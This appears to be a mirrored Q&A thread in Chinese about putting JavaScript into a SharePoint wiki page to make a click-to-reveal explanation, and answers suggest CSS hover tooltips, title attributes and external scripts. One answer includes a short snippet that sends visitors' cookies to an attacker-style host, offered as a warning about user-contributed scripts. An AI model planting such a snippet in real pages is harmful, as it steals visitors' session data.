代码之家  ›  专栏  ›  技术社区  ›  Aidenn

如何在wiki页面中输入javascript?

  •  5
  • Aidenn  · 技术社区  · 16 年前

    作为wiki管理员,我如何在SharePoint wiki页面中输入脚本(javascript)?

    我想输入一个标题,当点击它时,在它下面显示了一个小的解释。我通常用JavaScript来实现,还有其他的想法吗?

    9 回复  |  直到 16 年前
        1
  •  4
  •   Nate    16 年前

    假设您是wiki的管理员,并且愿意在mouseover上显示它而不是单击,那么您根本不需要javascript——您可以使用直接的css。下面是样式和标记的示例:

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
      "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
      <title>Test</title>
      <style type="text/css">
        h1 { padding-bottom: .5em; position: relative; }
        h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
        h1:hover span { display: block; }
      </style>
    </head>
    <body>
      <h1>Here is the title!
        <span>Here is a little explanation</span>
      </h1>
      <p>Here is some page content</p>
    </body>
    </html>
    

    使用一些更复杂的样式,您的工具提示框可以看起来像您想要的那样漂亮。

        2
  •  10
  •   pcorcoran    16 年前

    如果维基的作者是聪明的,那么可能没有办法做到这一点。

    用户贡献的javascript的问题在于,它为所有形式的作恶者从毫无戒心的人那里获取数据打开了大门。

    假设邪恶的我在一个公共网站上发布了一个脚本:

    i = new Image();
    i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
    

    现在,我将接收页面中每个访问者的cookie信息,这些信息发布到我的服务器上的一个日志中。这只是冰山一角。

        3
  •  1
  •   Lou Franco    16 年前

    它完全取决于您使用的特定wiki软件。我所看到的工作方式是将JS文件宿主在其他地方,然后将其包含在带有src属性的脚本标记中。

    如果他们不允许这样做,也许他们允许将iframe设置为包含脚本的页面。使用第二种技术,将不允许您访问主机页的DOM。

        4
  •  1
  •   Tom Resing    16 年前

    我喜欢CSS答案。当您可以使用CSS而不是JavaScript时,它会导致更简单的标记。
    另一个需要研究的是codeplex上的SharePoint增强wiki版本的社区工具包。您可以下载源代码并添加自己的功能。或者你可以在论坛中提出这个新功能的建议。

        5
  •  0
  •   sblundy    16 年前

    这听起来像是安全风险。维基管理员似乎可以安装脚本,请参见 wikipedia's user scripts .

        6
  •  0
  •   Steve Landey    16 年前

    如果你说要在这个网站上使用javascript作为网页的一部分,你就不能。或者其他任何公开的wiki,这是一个安全风险。

    如果您要发布代码示例,请单击文本框上方的“101010”按钮。

        7
  •  0
  •   Lasse V. Karlsen    16 年前

    当然,这取决于你所使用的wiki引擎。不过,正如sblundy所说,允许在wiki页面上免费使用javascript很可能会带来安全风险。

        8
  •  0
  •   RobbieGee    16 年前

    您不应该为任何公共wiki添加javascript代码。如果你自己托管它,那么你需要请求一个特定的wiki系统,这样有人可以帮助你修改设置——如果可能的话。

        9
  •  0
  •   Ulf Gjerdingen angelo.mastro    8 年前

    添加 title="text here" 对于任何标记,当悬停在它上面时,它应该显示一个文本。
    Internet Explorer在使用 alt="text here" 属性,虽然这不符合标准。

    我现在测试了,你可以补充 <h2 title="some explanation here">headline</h2> 任何基于wikimedia的系统(wikipedia使用的系统)。